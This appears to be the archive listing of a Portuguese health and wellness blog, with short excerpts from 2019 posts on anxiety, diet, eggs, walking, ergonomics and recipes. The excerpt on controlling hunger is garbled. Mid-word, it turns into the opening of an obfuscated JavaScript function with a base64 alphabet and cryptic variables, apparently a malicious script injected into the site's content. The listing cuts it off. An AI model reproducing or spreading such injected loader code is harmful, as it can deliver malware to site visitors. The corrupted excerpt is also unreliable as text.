Ago 5, 2019 | Saúde e bem estar, Teresa
Alimentos e nutrientes que ajudam a combater a ansiedade Sente-se stressado e ansioso? Ajudar a prevenir e/ou a combater um qualquer estado de ansiedade, que muitas vezes nos invade, e que tem um enorme impacto sobre a nossa saúde, é o objetivo deste artigo. Sabia...
Jul 20, 2019 | Dicas úteis, Saúde e bem estar, Teresa
Truques para controlar a fome e evitar excessos à mesa Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 17, 2019 | Receitas, Saúde e bem estar, Teresa
Porque é que os ovos ajudam a perder peso Os ovos são ricos em proteína, baixos em calorias e ajudam a estimular o metabolismo. Descobri também que existe mesmo uma dieta dos ovos e que eles ajudam a emagrecer. Neste artigo vamos saber como usá-los, na ajuda da...
Jul 8, 2019 | Dicas úteis, Faça você mesmo, Saúde e bem estar, Teresa
Exercícios e dicas para evitar lesões provocadas pelo uso excessivo do computador e telemóvel Você sabe, e eu também, que o uso continuado e excessivo das novas tecnologias tem mudado a forma como nos relacionamos com o mundo em geral e em especial com a família e...
Jul 2, 2019 | Dicas úteis, Faça você mesmo, Sabedoria, Saúde e bem estar
Poupe no recibo da água e da luz, e seja amiga do ambiente! Cada um de nós tem a responsabilidade moral de proteger aquilo que nos foi oferecido em estado puro e que, aos poucos, temos destruído. Simples e pequenos gestos podem fazer toda a diferença num futuro...
Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar
Alimentos que devemos consumir todos os dias Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...
Jun 19, 2019 | Dicas úteis, Saúde e bem estar
Alimentos que contribuem para a tensão arterial ideal Medir a tensão arterial é um acto que todos nós devíamos fazer habitualmente para verificar se existem problemas com a nossa saúde. É realmente importante controlar os valores da tensão arterial, até porque...
Jun 16, 2019 | Estilo e beleza, perder peso, Saúde e bem estar, Teresa
Quantas calorias queimamos numa caminhada? Andar a pé é dos melhores exercícios que podemos fazer. Melhora a circulação sanguínea, o comportamento cardiovascular e previne a osteoporose e outras doenças crónicas. Bastam 30 minutos por dia! E como se não bastasse...
Jun 11, 2019 | À descoberta, Equilíbrio, Saúde e bem estar
Receita de mousse de fruta com sementes de goji e girassol Com a chegada dos dias de calor, todos preferimos sobremesas frescas, verdade? Eu confesso que sim. E nada melhor do que comer esta mousse de frutas, e já lhe digo porquê! Esta mousse é muito pouco calórica,...
Jun 9, 2019 | Equilíbrio, Saúde e bem estar
Sumo de frutos vermelhos rico em antioxidantes Já lhe dei muitas vezes este conselho e não me canso de repeti-lo: devemos ter uma alimentação variada e equilibrada, comendo de tudo um pouco. O importante é ter peso e medida, como se costuma dizer! Já o consumo de...
